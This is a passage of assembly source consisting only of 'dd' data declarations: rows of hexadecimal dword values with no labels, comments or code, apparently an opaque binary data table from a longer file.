		dd 0C2AF6404h, 0DF04E8A4h, 0EFC5C81h, 0FB1A188Fh, 0C122D644h
		dd 209E8884h, 291D7530h, 678A6BBDh, 6C9DCCD2h, 23A6714Bh
		dd 8801AC70h, 4BED3FB9h, 180E838h, 233EBCB3h, 0DCC59639h
		dd 89CCFFF5h, 164809A7h, 801006FDh, 6814BCD0h, 0AC5D41h
		dd 0FD494057h, 0A54CD59Eh, 716906CCh, 5E092866h, 22FD6A27h
		dd 121E464h, 2B0AFC01h,	15A7C800h, 0C18CC36Ah, 0DC2E9330h
		dd 9E96E461h, 0C0CFD116h, 0A52254C0h, 0D4CC5D8Ah, 0F1F2E20Bh
		dd 94A6FC38h, 0F9205B63h, 468915C5h, 0EA004C85h, 0FB2A03A8h
		dd 0B8488866h, 0A5800E98h, 0F738D9AFh, 27153C69h, 55102C45h
		dd 0EF910011h, 99923363h, 35AD0708h, 0C0DC80A8h, 0A6C528B7h
		dd 2DF07449h, 466C80A7h, 25F4FA70h, 68387B31h, 61C40B79h
		dd 0B7402341h, 0DE1E7E48h, 0A00A5E8h, 0F7C5A827h, 4E6DABh
		dd 47133F68h, 0F17FD25Dh, 0CA2148C0h, 0FA905A11h, 26B0926Ah
		dd 47749C88h, 270B2048h, 94B0CA9Ah, 0C6A68A15h,	0CD8900C4h
		dd 5DD692BAh, 5D570F7h,	33E2C702h, 7358C09Fh, 1F1E4B79h
		dd 0C314D912h, 0AE6A0908h, 598000F9h, 132EDA96h, 0C02C9061h
		dd 0AA224C20h, 279F0800h, 3DA4EAFh, 1B9E0FBEh, 0C3C1FD58h
		dd 64FFCFD6h, 24003D44h, 0B6C26ADBh, 0BCEBD27Bh, 8815194h
		dd 658F4088h, 0F9A40803h, 0E2CEE1B1h, 2D1C541Eh, 890B88Ah
		dd 0B42E0698h, 280D8751h, 4B056E0h, 9739A521h, 5042F88Dh
		dd 77244892h, 0CA56A4Ah, 1DB88044h, 0E86E5417h,	12957D3Eh
		dd 5821F69Ch, 0FB00C71Bh, 4D4EA62Fh, 8E272C21h,	0D5203C33h
		dd 0B5548095h, 155B1Dh,	7B328920h, 782D3B6Bh, 0F987F002h
		dd 0F895ADCFh, 0FC1D0068h
		dd 5A503A05h, 609DD089h, 5A631E10h, 91946135h, 0F01440E9h
		dd 0D8C312AEh, 1B582A4h, 2D49DD20h, 20AFACC5h, 0DA041CFCh
		dd 8FFF25C8h, 1A81D4ACh, 74F858h, 9C4DC02h, 93D81B8Eh
		dd 0D909800h, 0BB004F43h, 1DEC504Ch, 148F31A6h,	8684D38h
		dd 1441B848h, 0F42C6471h, 603A4BB2h, 0D247C3E8h, 2EAC00F8h
		dd 51DF6637h, 4E8BCE09h, 27186824h, 3BDE0094h, 68CD5BBCh
		dd 4B249066h, 1C124C58h, 597CC48Eh, 0F7212414h,	0E1087919h
		dd 80FA0C20h, 181FB823h, 45826E4Dh, 0CEF28A4Fh,	0CD261000h
		dd 60405E8Dh, 38E58CFFh, 0B0DC5D1Ah, 0C981E73Dh, 1F905F02h
		dd 3D0024A0h, 0C4642881h, 0D6A504A4h, 0F790CF7Eh, 944D7A5Ch
		dd 0C00801E8h, 6B724035h, 241D9A60h, 8C47BC5h, 4E005BDCh
		dd 9CA5E550h, 32F0C1h, 0C003FE15h, 86B4CDEh, 856E8900h
		dd 0CB91F2A1h, 97C91F28h, 8AA90040h, 0C5FF9D9Bh, 0C68CE700h
		dd 25EABB91h, 0D06301ACh, 87CFF4A5h, 0C488803Ch, 90E61C20h
		dd 7968690Fh, 5A5C60C4h, 94187C0Ch, 4110CDF8h, 989B801h
		dd 0DCD5A688h, 2691B433h, 8F10280Ch, 12300B69h,	84E85E38h
		dd 0D0D3CBA6h, 380250D8h, 6820114Ah, 98ABC61Ah,	0ACBB0010h
		dd 921D149Eh, 0D41349B9h, 8830576Ch, 0A5F563h, 511E4CE6h
		dd 0D2470EE4h, 1170DB17h, 64296CD9h, 0C7553500h, 0CBBB9232h
		dd 72B2D600h, 77F4BFF0h, 0D030099Ah, 5070B7CFh,	3E57F240h
		dd 45CF7590h, 0D1B5F0D4h, 0D4ADA93Ch, 4E007639h, 3F7FA667h
		dd 183AA73Bh, 79A159A5h, 4C00B7EBh, 0F923F01Ch,	7A78F93h
		dd 84D02A31h, 18564262h, 0FE60C1h, 55B950F9h, 2EDC8837h
		dd 0C8A20006h, 0BAD043CBh, 0E31450F3h, 5F1012C9h, 0A169B802h
		dd 9A06A0Fh, 2554B0BCh,	0A75C2FDFh, 17B64838h, 5E69B3B8h
		dd 0E4A04E38h, 154923Eh, 59108FB5h, 0C001F946h,	0BA00C7D1h
		dd 49A50873h, 0BB93D6h,	0E520F310h, 2C8C2A1Dh, 6113B3Ch
		dd 25946A30h, 24F0061h,	867D050Fh, 3F00D71Bh, 0AC7C0EA6h
		dd 0C24BBBA4h, 0AA2FFF78h, 0D46D80F7h, 906EC8BFh, 7BB50094h
		dd 0B912058Dh, 50904B1Dh, 2F2062Dh, 2A66FA4h, 585E8A29h
		dd 0F3E682Ch, 84A77E17h, 24E4DDD0h, 1FAC9B60h, 0D2AF8B01h
		dd 0A846642Bh, 0C74591Ch, 1996A702h, 0E0088A56h, 3D096A10h
		dd 4B870466h, 0C13A96A5h, 29405C98h, 3028A027h,	64D5FCFCh
		dd 0E125384Fh, 2C60395Ch, 908BA4A7h, 4E78407Ch,	0D3510123h
		dd 2CCF9647h, 0DA508B0Fh, 24DC64C9h, 244AFC7h, 0E14647A7h
		dd 94BAC241h, 58C9648h,	67259024h, 5A1DC480h, 2F7D03C3h
		dd 8F6ED214h, 0A4F68809h, 4D24D84Ch, 0C9F98F3h,	0D018E223h
		dd 0A539BD04h, 0B8D00654h, 0B8207EEEh, 0B1AC0B39h, 2C80FC2Ah
		dd 472A045h, 0D042D0A2h, 34E00809h, 4890902Fh, 0D81040B6h
		dd 0E4E37913h, 4F4A4C4Ch, 27E1EB87h, 0BCD8F349h, 50CE176Fh
		dd 30A48D2Ah, 6C20278Ch, 8FA62D38h, 0B82AA0C0h,	0C204299Fh
		dd 0D8E48908h, 4211D320h, 3FA0690Ch, 8803506Ah,	1EF8CD52h
		dd 0E67E175Ah, 2D8FFA02h, 6844F9A5h, 0F0A2BD50h, 102A64C1h
		dd 2C2CA3F4h, 0EC24744Ch, 25A0D942h, 2270F2BFh,	194CA084h
		dd 4A2728F8h, 4D1BEC20h, 1C4C1459h, 812A7400h, 2569CBA3h
		dd 46A8A8FFh, 1860FE58h, 7668C9D9h, 9025805Dh, 68E73Ah
		dd 0FEE01B4Dh, 4EB81227h, 4FC81F2h, 0E4202EC7h,	0BC8A905Ch
		dd 20270424h, 80FCF850h, 9F9B188Fh, 0CE9102DDh,	5239E2BFh
		dd 66E0D4C3h, 103B433Bh, 78B3B0D6h, 246A317Fh, 3D40F79Bh
		dd 87A53789h, 0D1A9242Fh, 0D34D38D2h, 8390C644h, 344B681h
		dd 5BFA19B8h, 782299E1h, 2A1F032Ch, 0EAF4524Ah,	0E91C41CEh
		dd 0F7573460h, 0C793E82Ch, 0DB3FE328h, 5499914Fh, 8A7CDC21h
		dd 0F021B065h, 0A5121D68h, 1842C9E5h, 68A290EEh, 0B0E23010h
		dd 85983280h, 28FED050h, 0BA25440Bh, 888054C4h,	0F601D96Ch
		dd 0DFCC4429h, 6488713Bh, 4233213Ah, 0E52069C4h, 3C68D27Ah
		dd 985A1320h, 8B66D318h, 20C1D841h, 224A67AAh, 5B75BC91h
		dd 691C383Ah, 18900272h, 888448E9h, 18F7993Bh, 1C10DF4Dh
		dd 2A7B04B7h, 0AB94F18Dh, 651EABC0h, 2828EFD8h,	886A3205h
		dd 2CC4D077h, 600FAEDh,	0F44C4E6Ch, 28F769h, 0F5CB15ABh
		dd 0E4A7889Dh, 328A3E09h, 87D8603Ch, 0C0929594h, 56879C1Ah
		dd 0A7A35371h, 0B22AC988h, 68404F04h, 64D0F1A8h, 9D8C3192h
		dd 1DEFDC82h, 9CAFF300h, 0C0ECFD33h, 854C2CFBh,	0CE04BD8h
		dd 0C71216F6h, 6B0956B7h, 14A9E7h, 174D57B0h, 0D4F848A7h
		dd 64DECF09h, 3E7E020h,	0CC7DE3BEh, 80E88A2h, 3A1423EAh
		dd 400B812Dh, 876EA848h, 0D8C1E91Ah, 4A0641B0h,	7421D044h
		dd 30340169h, 0BE8C1227h, 62DF05DEh, 0C90CA2D5h, 9F38E44Eh
		dd 30501420h, 68BC1325h, 48CC4F40h, 0B5D0153Ah,	6206A0F2h
		dd 0A83D31A9h, 4280DBF6h, 699D0785h, 71664D21h,	309A0DACh
		dd 6B057A38h, 74E50B07h, 3EB79881h, 7340EA02h, 2503DD04h
		dd 3B472861h, 2AADF05Dh, 0A50E0CD7h, 57A0770Bh,	1E19F607h
		dd 0D9202732h, 0B8AE76F9h, 259B05BCh, 0C0692AABh, 108BFFD8h
		dd 0DF283E12h, 48F44CA1h, 0DCD90256h, 829A4D7h,	1D3E7866h
		dd 16B93E8Bh, 0A02739DEh, 90D0E3D6h, 71F31240h,	624C023Ch
		dd 47ACE9Eh, 0B41E8976h, 383083A4h, 904827F5h, 856C07BEh
		dd 92AD708Eh, 84633EAh,	65B023F0h, 6A15BB05h, 0E40FD081h
		dd 93CAE929h, 76CC92D4h, 0C32F0588h, 45DC81E9h,	8E7F005Ah
		dd 902813F9h, 256BFC91h, 301C4146h, 1CCD7D0h, 49CD63Fh
		dd 61344FFDh, 0CE582438h, 0BA64750Fh, 86D02018h, 9863E91Ah
		dd 45780000h, 0D3903971h, 0BF79243Dh, 6C73B900h, 91DF0A77h
		dd 208B00F2h, 0A44842E2h, 99002709h, 0AF72014Eh, 26617DCCh
		dd 0E704CB4h, 3F61ED78h, 2A09A522h, 4091540Eh, 0E965B3D4h
		dd 0F88307F0h, 0D0D0415Ah, 6F8CAEE4h, 0A408AF00h, 4DFBF289h
		dd 21D70610h, 40DEC4A5h, 7479C9E1h, 9627D818h, 6A240186h
		dd 0C8409FDBh, 22B8461h, 0A4D8C0DAh, 11002C82h,	38CD20F2h
		dd 76805778h, 1714AF25h, 0CC1E8454h, 9702C8ECh,	594CA9A5h
		dd 34C12520h, 0C1187CB7h, 4AA4BB58h, 8AE0F061h,	989600D6h
		dd 15AFCE90h, 98A04263h, 6E035782h, 6CA91E4h, 488490F8h
		dd 720900ACh, 3625BC08h, 1016A793h, 340221DEh, 0E08C8865h
		dd 67A3Bh, 74B87307h, 0F98555B4h, 81B79100h, 0B042D4F6h
		dd 0C22F4BA4h, 90510D10h, 588D808h, 4E70A4C7h, 0AC00EAB8h
		dd 0C85FDEC2h, 435A79F8h, 1524BCE4h, 0CC80E7A5h, 0BA2F204h
		dd 84048051h, 2F50863Eh, 7F1EEAF8h, 0B83071D6h,	0C5744Dh
		dd 0FFCA920Dh, 0AF4A3E35h, 610FA415h, 7C084B9Ch, 66640F9h
		dd 0BD0FC0A0h, 2E8A5D2Fh, 0EEE0C6D8h, 7C329D08h, 0D852545Ch
		dd 55C82068h, 10C88348h, 0C700CDB5h, 2FC081B6h,	3902FBC9h
		dd 4C6A2D54h, 0ADF0D42Bh, 8B476840h, 9B0530BEh,	0BCD2C5FEh
		dd 0B8425D55h, 0F7C520DCh, 3C2C88D9h, 73DA8CDFh, 26174C48h
		dd 5831A150h, 0AA305416h, 582800D4h, 0EE88B5F0h, 0C931A4B7h
		dd 0BF602831h, 58249FD1h, 63FF2C18h, 0B991C7B8h, 258CCC4h
		dd 97097CD8h, 0A3B115E9h, 0E8EB7300h, 14565Ah, 1E22C08Bh
		dd 7A90F55Fh, 12A74A2Fh, 0C447638h, 0AF0862BBh,	0AE714416h
		dd 768E5888h, 9F50300Dh, 0CAE327D0h, 6E0E54B3h,	0A6716196h
		dd 0A087993Ah, 828AB851h
		dd 2C48CA26h, 84B66F41h, 0A1A3FE47h, 0B6500D98h, 20C0F5A4h
		dd 700533D4h, 37A73917h, 8817CD4h, 500915Ah, 0CE0EE692h
		dd 0A0B393C7h, 2848D82h, 0DE5228D6h, 0C86F5CF0h, 4D001B20h
		dd 0F8793C22h, 1246A7E8h, 5B9DBA5h, 825CFFC4h, 44E64F34h
		dd 20A4494Ch, 2B6A129Ch, 300C033Ah, 62E71C93h, 48E0B707h
		dd 0B8D73F03h, 0B7A0F89Ch, 84FF7C00h, 380FBEB4h, 0AB5D1Ch
		dd 2D280FBFh, 0D5521FFEh, 5C600086h, 0D1918B7Dh, 1AA4F909h
		dd 2528D903h, 4525E840h, 1E083D63h, 340F1B7h, 75276084h
		dd 0D774F8EBh, 69691CC8h, 0DC229034h, 0C8E206FCh, 84796C84h
		dd 0A458A008h, 48A81CB8h, 6A2F27CBh, 41A4903Dh,	6EFF005Ch
		dd 0D1520BB7h, 4F004E8Ah, 0F8B08657h, 9BA927h, 4CEA2C39h
		dd 4B6F4567h, 34A73104h, 4C8C9214h, 6A5D2890h, 56324C4h
		dd 425C422Ch, 647A58A0h, 11C4C9CCh, 0C0D068A6h,	0E21DB909h
		dd 84EA005Ah, 86F36C0h,	520414BDh, 0F10A025Eh, 4EA038ECh
		dd 0D231BA6Eh, 0AC4AD652h, 4114C2F6h, 712E82C0h, 7375AFC4h
		dd 7D3117Ch, 0FB718E01h, 6A13B3DEh, 0CBA47805h,	3C5788A0h
		dd 108C26DFh, 0CDF036AFh, 0A313B07h, 68A7966Dh,	14828D6h
		dd 5536F001h, 60C338ADh, 0BC5E1644h, 136010C8h,	0F9E5B590h
		dd 13B42728h, 0F3AF3FCh, 0D9ED3318h, 0CFB6E980h, 40C9AAA9h
		dd 0AFA8411Ch, 0A1977C7Dh, 47F07094h, 532640h, 0E65FC7D7h
		dd 922F7CAFh, 3233D305h, 0A4A151C5h, 0E851A027h, 0C4D7047Dh
		dd 59289190h, 87A051A7h, 0F6EC5447h, 44605054h,	8C2A6E26h
		dd 90034C64h, 10320571h, 0C0A3844h, 98974DA4h, 41AA980h
		dd 68907015h, 4C34D98Ch, 50B84D1Ch, 41C968BCh, 8441775Ch
		dd 0A42294DFh, 0EE099013h, 0A49AA040h, 2AFA285Ch, 20ACE3DAh
		dd 224AA9D5h, 68A5F490h, 2FEC809Dh, 0FA0068DCh,	9A474E2Ah
		dd 0D8A302FFh, 77B849C6h, 687D68E0h, 0BCD2CB26h, 0EA3D5E00h
		dd 3D68EE8h, 8B8C9ECCh,	905E8831h, 0E48AB4C4h, 81AD9082h
		dd 0D60064DAh, 27D45EE9h, 50E7CCAAh, 0B1EFCA3h,	0E86FDCA0h
		dd 849D3478h, 800D0ECh,	3B46E4A9h, 0D650391Fh, 0E529A606h
		dd 24026970h, 230BCC78h, 0D99ECD26h, 578E0014h,	0E1ECBEE5h
		dd 5CD1C04Bh, 0FC3C36BCh, 0E4B927C2h, 0BB2C4066h, 6A7CC30h
		dd 3DFCB670h, 5700C358h, 3A11AF68h, 2F01828Fh, 1C8805FCh
		dd 4B2F7E4Ch, 887498E8h, 1098E625h, 0A46869h, 29544F5Fh
		dd 9AA690C0h, 0F3E62C54h, 0A526040Ch, 38C8A29Dh, 4E84F16h
		dd 7C58C13Ch, 1967050h,	21FD055Dh, 7F612F26h, 0C7E91831h
		dd 90F32900h, 9A9FECF2h, 34A625Ch, 906592C4h, 5B6A172Fh
		dd 0BD7CB0E1h, 8BA53A0Dh, 0C0014009h, 0FD04B57Dh, 94C1D318h
		dd 2C755BD2h, 9B6420h, 90356B56h, 0C3CBA5C7h, 8D01AF7Ch
		dd 0C93A8FDBh, 6C6C3869h, 0A6E71Eh, 0A7962803h,	0D80D6587h
		dd 0C940C7A4h, 8F34623Ah, 0C9BBA601h, 1400E079h, 0AF70390Fh
		dd 38B7921Ch, 5A905B1Ch, 16480281h, 0C0710103h,	0E4688E03h
		dd 5910078Ch, 71CB25B8h, 7A87DC0Fh, 90E78470h, 2D691ACCh
		dd 8480B81Eh, 70215786h, 0CF5AA63Eh, 0CC524025h, 970FC008h
		dd 25800211h, 0D099A45Ch, 9643CCEh, 206583A6h, 37580160h
		dd 0D08200B5h, 9DBDF987h, 0DE024B4Dh, 0AA7C4707h, 0F9987A99h
		dd 91275051h, 6F385F2Fh, 219FB8AAh, 8B358B64h, 0DCD69412h
		dd 370EDE2h, 0C819C41Ah, 60A00D4Ah, 0F8FC347Bh,	9E500990h
		dd 105444E9h, 17C370CFh, 0D0F2F9F2h, 0AB0215Eh,	82883088h
		dd 48380397h, 8C27D0C1h, 6E030297h, 0AC9225D7h,	0A03FD84Ch
		dd 28851365h, 408068E0h, 5E00FB60h, 986792BAh, 0F551376h
		dd 2D6C6E58h, 24760ECBh, 96B0B514h, 0E2487804h,	2D8064F0h
		dd 1C31D563h, 8C537AFBh, 0CC0304Ah, 0F1405700h,	0C11B3Fh
		dd 0F499388Eh, 0C8DB69F3h, 70F050D6h, 0D3650058h, 39BDF884h
		dd 0CA00920Ch, 4337F3DBh, 1F4CB1h, 0A08DE4CDh, 0E142FAFh
		dd 7BD46895h, 0C565047Ah, 0A00D9020h, 113173Ch,	0FCB0E5D0h
		dd 15A418C7h, 631C301Eh, 1944EB48h, 0A981C947h,	5D16F476h
		dd 1824303Eh, 0DA5E0648h, 7DE64C22h, 0A52FBC60h, 0BFA8949Fh
		dd 26315000h, 5C05133Fh, 0E9C33202h, 0D557F081h, 6A1D2300h
		dd 48CF4174h, 60F47750h, 582E00F1h, 0A002EA57h,	4E3E4678h
		dd 0F695005Fh, 5BD3DA05h, 0B8871BEh, 0A1BBCFF9h, 0E75D4C0h
		dd 4CC52D00h, 0BD2A3B23h, 7E27790Bh, 0C8D43136h, 0DA16E218h
		dd 3F281C5Eh, 0A518A371h, 0F5C03E0Ch, 279E7887h, 0DC4870ECh
		dd 0E002869h, 30A00876h, 0C3F4514Fh, 403B9618h,	280F90F1h
		dd 6A140234h, 5ACF7B16h, 9B1B3F2Ch, 4C90CE2Fh, 1362905Fh
		dd 0E4354831h, 5CA2BD1Ch, 888A554Ch, 88874924h,	0BFA3221Ah
		dd 0E0D0D4ABh, 6AC930A1h, 88B4F835h, 18FC69CBh,	2B05147Eh
		dd 0AC001CDDh, 40C125B4h, 0F4370566h, 99A6CFh, 89C3079Ch
		dd 0A51922E0h, 8BF8FAFCh, 97100C76h, 0FC320112h, 55181E5Ch
		dd 13A7F848h, 0F2013096h, 0BF08005Ch, 0C7BE7D0Bh, 0BCDD4C11h
		dd 2FF80840h, 8A0C32Dh,	96D250C4h, 0CC85B4Ah, 2458B05Ch
		dd 0C0E0556Fh, 0D76774B1h, 31786913h, 0F42548C2h, 1900E34h
		dd 0FF8401B2h, 3055984Fh, 94B6BEC8h, 0CCB65004h, 54D0A4F8h
		dd 0F693D009h, 0FA8B4CF9h, 0F4E49A3Eh, 5042628h, 8E9424A6h
		dd 28FF2A24h, 36319015h, 6F84CC8h, 0E452A4B5h, 4550028h
		dd 7A1AC94Bh, 38BC638Dh, 1DBA11E0h, 784820A5h, 0D9E99101h
		dd 8852FEDCh, 98617C20h, 86049954h, 0B0FB22E2h,	279CD84Dh
		dd 583C0B21h, 0A62C98F0h, 0D21B09E0h, 3C542CD0h, 8C0E013Ch
		dd 0E5C5A563h, 94548060h, 318E4390h, 0E7700180h, 0CA444F03h
		dd 5BD3E4A4h, 30200428h, 0C490E892h, 8CB3E67Dh,	7CD0CC5Ah
		dd 10920100h, 0D1A536A7h, 8848C0CDh, 654B1CD5h,	6809AB4Ah
		dd 69E45E60h, 5BA414E0h, 0E20EC0BCh, 0A60076F5h, 0E1BB5A59h
		dd 332509DFh, 48E8F013h, 0CC80A0DDh, 4B9202AFh,	5BA525D9h
		dd 0A4277CE6h, 0E11841D8h, 688BB0D7h, 27724003h, 0D31D4800h
		dd 4ACD0660h, 89880462h, 0F8361F68h, 0A5340650h, 0C0C16Fh
		dd 2A790F5h, 0CE204EF9h, 14AB2212h, 98DA4821h, 7E90402Fh
		dd 0CF3CCC11h, 0B002EF5Ah, 98D08627h, 745BA98h,	33A12F6Eh
		dd 0C868A56Ah, 9138C668h, 10F709BDh, 0A1206C5Ah, 2422628Ch
		dd 0FBA7F384h, 5863B40Bh, 905E09B8h, 0E00015E4h, 7C50ED19h
		dd 634B0674h, 937B2C44h, 3824F156h, 0E0307CDCh,	181C1886h
		dd 8CE128Ah, 0EEC88888h, 0CA1B0084h, 0BA1C5277h, 0C005586h
		dd 39333CF2h, 0C8205396h, 1701DE18h, 95E82618h,	7ACA4F0h
		dd 0EA05149Ah, 30ECD716h, 696C8041h, 0C6588903h, 0B0A56F78h
		dd 7F6A99BAh, 1BBF0056h, 0BC6DE97Bh, 60C01FC9h,	0EBA04AAh
		dd 0ACEB00F4h, 0F1C02288h, 8F0189AEh, 712153EAh, 14E077AAh
		dd 0D211CFA7h, 4DFD0A01h, 0CAE7E054h, 0C0F13780h, 58059F20h
		dd 8D0CE836h, 692E893Dh, 15172AC9h, 9AA90D60h, 0D8F02DDAh
		dd 0DE0038DFh, 8B096FC2h, 63CE0AB2h, 87696041h,	507FF690h
		dd 0F5EC7D3Dh, 48D12331h, 7EE41014h, 10406684h,	0C7015086h
		dd 0A21B455Fh, 6DF07D77h, 0DE07733Dh, 10DD8388h, 17C8C064h
		dd 3F768119h, 3181AC5Ch, 9AA67045h, 7EE8C883h, 580D66C2h
		dd 0B8ECE4D4h, 5681908Dh, 3DDAF020h, 0EE79D8A9h, 0BCA67701h
		dd 12FF82C8h, 459816h
		dd 2790B80Ch, 0A36E257Fh, 0EA686051h, 7713613h,	0A172B391h
		dd 2FE6D0FEh, 55733F17h, 0A25B9401h, 3B3FFABh, 0A31EE040h
		dd 1708A1D3h, 7A1480C6h, 0D4CD43D1h, 242A0898h,	50780CB4h
		dd 86D19D39h, 28945F40h, 10ECDF72h, 3E57697Ah, 0AD701E7h
		dd 283D56E9h, 0D447BC40h, 3CFE0D96h, 0E850EF88h, 773D9A73h
		dd 90210078h, 585A6B45h, 9CD452A2h, 6801E1Fh, 1172C450h
		dd 117040h, 0F1522D65h,	0A767DAA4h, 0D18B5F0Eh,	9628B877h
		dd 6F7A1418h, 3B00DCC2h, 304DB551h, 0DB00A5E3h,	74BAE504h
		dd 6AE68F1h, 857FD3A8h,	0AD1ED043h, 0E30CDB4Ah,	9AF10FDh
		dd 0A7BA14AAh, 1C4DA011h, 0C0EF320Ah, 0B88045B0h, 0C4421299h
		dd 0AC824598h, 6F790800h, 0AC0277B2h, 75AABA0Ch, 0A1804273h
		dd 0FB543CC0h, 0FC8150BEh, 6903DCB9h, 1048C658h, 0BB293B3Ch
		dd 0A849C96h, 34800F29h, 0C5776A9h, 0E061D169h,	3E036630h
		dd 0C0BBD2A3h, 29C7D0D9h, 8D36027Ch, 987F8A2Ah,	1C2C049h
		dd 0E3925Ah, 0D1735649h, 0E8223044h, 0E484F41Ah, 4A540070h
		dd 4F39F5h, 0C31E409Eh,	28D1EC84h, 0C2AE40h, 0BEDEDC7Eh
		dd 0ED40E654h, 0B47AA877h, 0A77D3407h, 8CB00CCEh, 727F4297h
		dd 0A0D1303Fh, 27800EE0h, 229AB500h, 20A9F1C6h,	0B1B900ECh
		dd 3D7D7178h, 90A0E067h, 91FAD6A3h, 0DC30E400h,	51900FD4h
		dd 190E1237h, 74F80A87h, 0FC211494h, 896E8C04h,	1BBC80EAh
		dd 4701CCB3h, 43D76169h, 7C359C3Fh, 12A3C560h, 0DBB8ABh
		dd 7D329729h, 0C960B7D1h, 3E12ECD8h, 0CB710420h, 92ED770Ah
		dd 0B91182E0h, 6A05DC50h, 0BA670210h, 8127D17Bh, 0B3AC8A0h
		dd 38C1CDD4h, 34973850h, 48758960h, 0A5269806h,	0A273506Ch
		dd 96068491h, 2660AD24h, 4920E5D4h, 0F4524C23h,	0F258D0E4h
		dd 2602A80Eh, 450A9723h, 58F4A4B1h, 0C0764CC6h,	0E543E10h
		dd 9F092A2Dh, 746127Ch,	8120F35Ch, 82B34AB8h, 0F4AC0802h
		dd 503A3C98h, 8086853Dh, 690C24BCh, 558D380h, 223D7B99h
		dd 89C00194h, 0B054039Bh, 7074A880h, 3A5B859h, 0AA6E643h
		dd 5000906Ch, 9E0DE839h, 0F9B703Ch, 0C0495074h,	0A2F16447h
		dd 1090563h, 0A7117FEDh, 0CABB9043h, 8708CA5Fh,	0C6452CCh
		dd 156EA481h, 0D3E21886h, 0BC003699h, 69839CA2h, 182238Ch
		dd 14553312h, 4078BBD1h, 7D3615B0h, 61586800h, 0C37FBD49h
		dd 4004B223h, 450C8F5Dh, 309848D1h, 98887894h, 0D840529Ch
		dd 158AA24h, 37D101DCh,	17843046h, 63043E77h, 0A3746FF0h
		dd 2014C90h, 4822DD4h, 5C8369FCh, 0F2EF3EAh, 250D340Ch
		dd 10452906h, 41F88107h, 78A3FE89h, 5F141E3Eh, 0BD1BFC02h
		dd 7DB81052h, 8C3A0525h, 8A51073Dh, 5F8C06E1h, 0F4A438EAh
		dd 0EE820070h, 0F2A296Ah, 49FAEC02h, 5C1AFA61h,	8620C784h
		dd 364A6059h, 2419BA52h, 420CF733h, 82160075h, 745758ECh
		dd 0DA0332FBh, 84251D8Ch, 0E13C10C5h, 158A1E81h, 67F9BBC0h
		dd 682484Ch, 0F54DCCC3h, 40760C3Dh, 7CC13Eh, 0F2454BC2h
		dd 60CBEA1Dh, 40EB65A8h, 0A1E9170h, 0ED15DB2Ah,	93D91966h
		dd 0B40C427h, 0C718E269h, 8025357Bh, 4D4A1B10h,	23EA5F0Ah
		dd 0EF8CA53Fh, 0F08506FBh, 0D85B64F4h, 8C5A0D21h, 0B46F2807h
		dd 58B65806h, 8AE672EFh, 0BE282D76h, 0DE204703h, 0C55D7E41h
		dd 58422h, 0B95160C5h, 0B30047D6h, 0BA300658h, 55EAA94Eh
		dd 0C0EEC60Bh, 0EF63E1Bh, 60FA0243h, 0BE56F260h, 0EE1F2AFDh
		dd 0AB858209h, 951E7C3Dh, 875D1F40h, 7BBF5754h,	33E83E5Bh
		dd 2BDDEF00h, 0DFF867C1h, 0F72D4779h, 268E0AFh,	5281A0F6h
		dd 0E6C28056h, 0A1300978h, 0A7E2E9A5h, 35B0F1Ch, 0F2A4D2F8h
		dd 0EC299058h, 0EFA1885Eh, 975F05Dh, 0E652E9CEh, 0FA0FCB31h
		dd 484A9232h, 357E3E8Ah, 28105E67h, 0B3547D42h,	2044CCD6h
		dd 7AA2800Dh, 0CFA110D1h, 2D24F28Ch, 10258B11h,	0A3704B71h
		dd 8C0730F6h, 0E68A5636h, 17C68228h, 880C8463h,	0B6C9242Dh
		dd 67C34064h, 925077BEh, 3E00BDA2h, 0D72A308Ch,	0A92C01EAh
		dd 35DCDE83h, 9F92ECh, 5E29EBF7h, 7EFC246h, 1A0CE7F2h
		dd 0A45FC131h, 400B28B8h, 70DF30B9h, 2312F469h,	5E7A871Fh
		dd 20CDFA09h, 6702C646h, 2AB13E51h, 94444B24h, 1E7F5DBFh
		dd 24885FF1h, 5554403Fh, 1A40BBEAh, 6991A867h, 8D66541Ch
		dd 0A954043h, 445BD41Eh, 899B214Ch, 61FA0FCCh, 986668C5h
		dd 5B0116AFh, 0E9293D2Dh, 0FFF8B252h, 7EC148CAh, 81D2F70Eh
		dd 0C901B8A1h, 826D895Ah, 0B0921AC5h, 0A6925BCBh, 6A42F0CAh
		dd 40211088h, 320BE9C2h, 5751C918h, 82BA0FC8h, 446E9C00h
		dd 82010853h, 2B0B59CEh, 80204614h, 0DB3F00E3h,	5EE90234h
		dd 839E1C2h, 0A9FC8D2h,	0DA616BA5h, 0EA60F901h,	0B27A69F0h
		dd 0CE020670h, 0A38225Ah, 0E3D2C30Ah, 5228495Ah, 2845109Ah
		dd 0C3F0B590h, 0EBF7E054h, 2CB50299h, 4F182006h, 24E4773Fh
		dd 0A8AC86BAh, 0E348FE07h, 4C044E32h, 0C76AF817h, 9A5EF399h
		dd 5BDAE0DFh, 0F73876E9h, 8F5D83FFh, 0BB682404h, 89761E3Fh
		dd 0DDE9062Ch, 661E108Ah, 8146148Bh, 0E01202C4h, 1CF0480h
		dd 0F903EE9h, 4C3E65Bh,	0B7F5F91Fh, 9F590A9Dh, 810C709Ah
		dd 7B7D19EBh, 0D32E2D60h, 0F84ADD62h, 891DA0ECh, 0BE240034h
		dd 61596760h, 0E9185556h, 5A1ED79Fh, 285C0E2Ch,	0FF8D04F8h
		dd 44CC882Ch, 0E38907DDh, 0A7638352h, 48BE3000h, 8142E862h
		dd 6DBF0CE6h, 0AA0C3CB0h, 2774600Fh, 0E90785C1h, 52037584h
		dd 10DB0150h, 0A4C4916h, 8E547B68h, 23E35067h, 8712200Eh
		dd 91535C32h, 0E9A7818Bh, 5F0358ABh, 87705440h,	4A1E1C63h
		dd 0C113603h, 513A373Eh, 8312E354h, 4C80CCC4h, 4B909ABh
		dd 10F68145h, 1D2B8501h, 0F75371DDh, 471C9DD6h,	0E9B84341h
		dd 0B7838CB9h, 4E150791h, 0C1F6CDD3h, 0FFB95EC0h, 0FA5C3A25h
		dd 2F336565h, 8CC226EAh, 0CE295379h, 0B3000907h, 289CB418h
		dd 665B03DCh, 1DCFE951h, 5E02514h, 6BA6874h, 5EF00101h
		dd 0B2507EE9h, 3EE6B835h, 0C59F2724h, 9D934C58h, 0C3EEF32Bh
		dd 0FA0F9A67h, 218FE2h,	0E70579BAh, 0D1095400h,	81D9F75Ah
		dd 0B56E03E9h, 0CE892FB6h, 97B4C1BBh, 0F6F5E015h, 4E603F68h
		dd 0A839560Ch, 9EB870h,	4E0C15Dh, 0D24FB505h, 0C2D0707h
		dd 0A07EB45Fh, 2A59DB41h, 0E9C70C01h, 552C117h,	0D003B7Fh
		dd 0C5C32D66h, 0C5894827h, 0B81322h, 266FC63Ah,	293F6216h
